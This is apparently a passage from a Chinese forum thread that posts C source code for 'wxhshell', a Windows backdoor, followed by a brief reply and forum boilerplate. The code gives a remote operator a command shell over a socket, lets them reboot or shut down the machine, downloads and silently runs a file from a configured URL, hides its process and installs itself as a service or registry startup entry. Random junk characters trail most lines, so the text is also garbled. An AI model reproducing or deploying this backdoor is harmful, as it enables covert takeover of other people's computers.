  if(strstr(cmd,"http://")) { y{:]sHyG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $+iu\MuX  
  if(DownloadFile(cmd,wsh)) zz[g{[SN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?!R %o  
  else 2Qw )-EB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #wGQv  
  } OCvml 2 vP  
  else { N"&$b_u[  
8xc8L1;  
    switch(cmd[0]) { Wn2Ny jX  
  ]j72P  
  // 帮助 vI4%d,  
  case '?': { \ YjB+[.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sb8z_3   
    break; F fZ{%E  
  } XryQ)x(  
  // 安装 @"jmI&hYn  
  case 'i': { 5?D1][  
    if(Install()) q#l.A?rK\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =ZFcxGo  
    else f2BS[$oV4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Zv,K-G  
    break; Mr#oT?  
    } ScM} m  
  // 卸载 V+P8P7y37B  
  case 'r': { {hlT` K  
    if(Uninstall()) *7)S%r,?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}_QZO=z  
    else 8}ii3Py  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p)K9 ZI  
    break; aE%eJ)+K  
    } tU8g(ep,o  
  // 显示 wxhshell 所在路径 !E4E'I=]N  
  case 'p': { Nck!z8  
    char svExeFile[MAX_PATH]; i!s~kk  
    strcpy(svExeFile,"\n\r"); f0:EQYYZ  
      strcat(svExeFile,ExeFile); v=dKcruR:  
        send(wsh,svExeFile,strlen(svExeFile),0); e5]&1^+  
    break; 4W[AXDS  
    } C}t+t  
  // 重启 Z5"!0B^ j  
  case 'b': { 6GvhEulYR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ex0 kb  
    if(Boot(REBOOT)) S7@ZtFf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  |JirBz  
    else { DQL06`pX/  
    closesocket(wsh); KIXwx98  
    ExitThread(0); o06A=4I  
    } 'vqj5YTj  
    break; Qi(e`(,'  
    } /1[}G!  
  // 关机 @5<]W+jk4  
  case 'd': { e'}ePvN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D2hAlV)i(  
    if(Boot(SHUTDOWN)) P_:?}h\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zsR  wF  
    else { xfbK eS8  
    closesocket(wsh); +?4*,8Tmmz  
    ExitThread(0); +ZD[[+  
    } Eg287B  
    break; ?NL&x  
    } I;bg?RsF  
  // 获取shell X_^_r{  
  case 's': { Ww a41z  
    CmdShell(wsh); t?3{s\z8+  
    closesocket(wsh); muqfSF  
    ExitThread(0); N3S,33 8s  
    break;  tH<9  
  } ovo?lE-a0  
  // 退出 H4,.H,PZ  
  case 'x': { A?6{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); / h 2*$  
    CloseIt(wsh); 2@=cqD7x  
    break; <;TP@-a  
    } ;XKo44%  
  // 离开 pqGf@24c<  
  case 'q': { c_D,MW\IC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oHc-0$eMKY  
    closesocket(wsh); ,=q7}5o Y  
    WSACleanup(); 5 b#" G"  
    exit(1); mcP{-oJ0W  
    break; : . FfE  
        } #J<`p  
  } |}]JWsuB  
  } g0; &/;"  
`E4!u=%  
  // 提示信息 g:uaI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ctwhfS|Y0  
} + !E{L  
  } ((hJmaq  
g-{<v4NGI  
  return; 4cVs(`g^  
} R~x;X3  
N('S2yfDR  
// shell模块句柄 dwf #~7h_  
int CmdShell(SOCKET sock) l9ch  
{ % 0y3/W  
STARTUPINFO si; x1&b@u  
ZeroMemory(&si,sizeof(si)); ?Uy*6YS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YWn6wzu%Vc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !X v2PdP  
PROCESS_INFORMATION ProcessInfo; i\DHIzGp[  
char cmdline[]="cmd"; ]y)R C-N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]<o.aMdV  
  return 0; (x@i,Ba@  
} QB.*R?A  
;?HZ,"^I  
// 自身启动模式 'nj&}A'  
int StartFromService(void) fjK]m.w  
{ 4LKs'$:A=  
typedef struct %RT6~0z  
{ J!TK*\a2  
  DWORD ExitStatus; B3g82dm  
  DWORD PebBaseAddress; 9-Nq[i"  
  DWORD AffinityMask; ,P; a/{U  
  DWORD BasePriority; 1X!f!0=g+  
  ULONG UniqueProcessId; '@}?NV0  
  ULONG InheritedFromUniqueProcessId; -$]DO5fY  
}   PROCESS_BASIC_INFORMATION; _QOOx+%*5  
Ymk4Cu.s  
PROCNTQSIP NtQueryInformationProcess; 3Mh,NQB  
 <*6y`X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MTFVnoZMQ_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~XT a=  
p *W ZY=Q  
  HANDLE             hProcess; @qr3v>3X<  
  PROCESS_BASIC_INFORMATION pbi; E't G5,/m  
 _.J[w6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,j(p}t  
  if(NULL == hInst ) return 0; luxKgcU  
&L~31Ayj&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )(|0KarF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /NN[gz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fE7a]R EK  
Rcx'a:k  
  if (!NtQueryInformationProcess) return 0; HTtGpTsF  
v BeU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C$re$9U  
  if(!hProcess) return 0; yM#trqv5  
5, "^"*@<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -z~ V   
3PR7g  
  CloseHandle(hProcess); tx&U"]  
` S~@FX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j}?ZsnqV  
if(hProcess==NULL) return 0; .X=M !  
B+q+)O+  
HMODULE hMod; n+F-,=0  
char procName[255]; .Zo9^0`C  
unsigned long cbNeeded; ~C*6V{Tj  
4Uy>#IL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $j4?'-i=e  
Kg0\Pvg8?T  
  CloseHandle(hProcess); [m+O0VK$  
d(B;vL@R2V  
if(strstr(procName,"services")) return 1; // 以服务启动 \z2hXT@D  
u b>K^  
  return 0; // 注册表启动 H1b%:KRVK  
} g2b4 ia!L  
f}9`iN=k  
// 主模块 qD>Y}Z !  
int StartWxhshell(LPSTR lpCmdLine) A`U2HC   
{ \#oV<MR  
  SOCKET wsl; ]H9HO2wGQ  
BOOL val=TRUE; JU2' ~chh  
  int port=0; Y;5^w=V  
  struct sockaddr_in door; t T/*ZzMq#  
^~1@HcJo  
  if(wscfg.ws_autoins) Install(); }d*sWSPu(  
*[5#g3  
port=atoi(lpCmdLine); 2Lu{@*  
xg1r 3  
if(port<=0) port=wscfg.ws_port; ve]95w9J  
=<W[dV=W  
  WSADATA data; hB<z]sl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C00*X[p  
kC#B7*[RM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6Q?6-,?_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `3s-%>  
  door.sin_family = AF_INET; 5xV/&N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2iINQK$  
  door.sin_port = htons(port); b({b5z.A  
JI; i1@| b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6!=9V0G~  
closesocket(wsl); |0 pBBDw  
return 1; UY& W]  
} {$eZF_}Y^  
>v4~:n2D  
  if(listen(wsl,2) == INVALID_SOCKET) { W)P_t"'@L  
closesocket(wsl); #7:9XID /  
return 1; rW>'2m6HU  
} ?lna8]t  
  Wxhshell(wsl); e&7}N Za  
  WSACleanup(); v__Go kj-  
RX|&cY>  
return 0; (#Kvm  
%_LHD|<  
} ~,4Znuin  
=]k_Oq-1h  
// 以NT服务方式启动 Rl!WH%;c[X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2"K~:Tm#w  
{ !g:G{b  
DWORD   status = 0; ?\$/#zak  
  DWORD   specificError = 0xfffffff; }Nc!8'@  
.Zz7LG{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^[NmNi*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "_}D{ws1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WC&Ltw8  
  serviceStatus.dwWin32ExitCode     = 0; o;P;=<  
  serviceStatus.dwServiceSpecificExitCode = 0; (NV=YX?s  
  serviceStatus.dwCheckPoint       = 0; WD1$"}R  
  serviceStatus.dwWaitHint       = 0; -Af`AX  
] ]-0RJ=S?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '(:J|DN  
  if (hServiceStatusHandle==0) return; TZ]Gl4 @  
MX_a]$\ :n  
status = GetLastError(); l;FgX+)  
  if (status!=NO_ERROR) m1Z8SM+  
{ ~ a&j4E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bg. KkJMrR  
    serviceStatus.dwCheckPoint       = 0; {v'Fg  
    serviceStatus.dwWaitHint       = 0; /[T8/7;_l  
    serviceStatus.dwWin32ExitCode     = status; 71ybZ 0  
    serviceStatus.dwServiceSpecificExitCode = specificError; Hx0,kOh)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4T^WRS  
    return; R63d `W  
  } 3CRBu:)m  
Q9V4-MC9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wi >ta  
  serviceStatus.dwCheckPoint       = 0; ~ +$><qj  
  serviceStatus.dwWaitHint       = 0; 2|o$eq3t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v0J1%{/xs  
} _$lQK{@rY  
by[(9+/z$  
// 处理NT服务事件,比如:启动、停止 k/Ro74f=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \kO_"{7n  
{ WSwmX3rn  
switch(fdwControl) Vjd =F.V+  
{ c?Qg :yU  
case SERVICE_CONTROL_STOP: KO"iauW  
  serviceStatus.dwWin32ExitCode = 0; ~q>ilnL"h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1mM52q.R4  
  serviceStatus.dwCheckPoint   = 0; |B.d7@{mM  
  serviceStatus.dwWaitHint     = 0; eci\Q,   
  { AVZ@?aJgF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #XPU$=  
  } #| Po&yu4R  
  return; +rX,Sl`/  
case SERVICE_CONTROL_PAUSE: U#4W"1~iX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xK ux5u _  
  break; ".Ug A\0  
case SERVICE_CONTROL_CONTINUE: wQ.zj`?$(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zt=X %M|aw  
  break; xI8*sTx 6  
case SERVICE_CONTROL_INTERROGATE: )Me&xQTn  
  break; p}z0(lQ*~  
}; 6w ,xb&S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ITiw) M  
} t,6=EK*3T  
gk` .8o  
// 标准应用程序主函数 VG^-aR_F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S22; g  
{ uIwyan-  
lEs/_f3;A  
// 获取操作系统版本 3!x)LUWfWY  
OsIsNt=GetOsVer(); )9->]U@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &YMj\KmlSg  
uuB\~ #?T  
  // 从命令行安装 \I]'6N=  
  if(strpbrk(lpCmdLine,"iI")) Install(); mqw.v$>  
aQ. \!&U  
  // 下载执行文件 ^" -2fJ  
if(wscfg.ws_downexe) { EK^2 2vi$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X}Fv*  
  WinExec(wscfg.ws_filenam,SW_HIDE); +`FY  
} j!dklQh0  
yfrgYA  
if(!OsIsNt) { 8%Lg)hvl  
// 如果时win9x,隐藏进程并且设置为注册表启动 7Cjrh"al"  
HideProc(); g9JtWgu  
StartWxhshell(lpCmdLine); fM{Vy])J  
} ?K"]XXsI  
else tA.C"  
  if(StartFromService()) @P?*<b{  
  // 以服务方式启动 ^D)C|T  
  StartServiceCtrlDispatcher(DispatchTable); [<t*&Kr+o  
else S;~_9i]upe  
  // 普通方式启动 Jt"Wtr  
  StartWxhshell(lpCmdLine); V96BtV sB  
W0k_"uI  
return 0; RB2u1]l  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五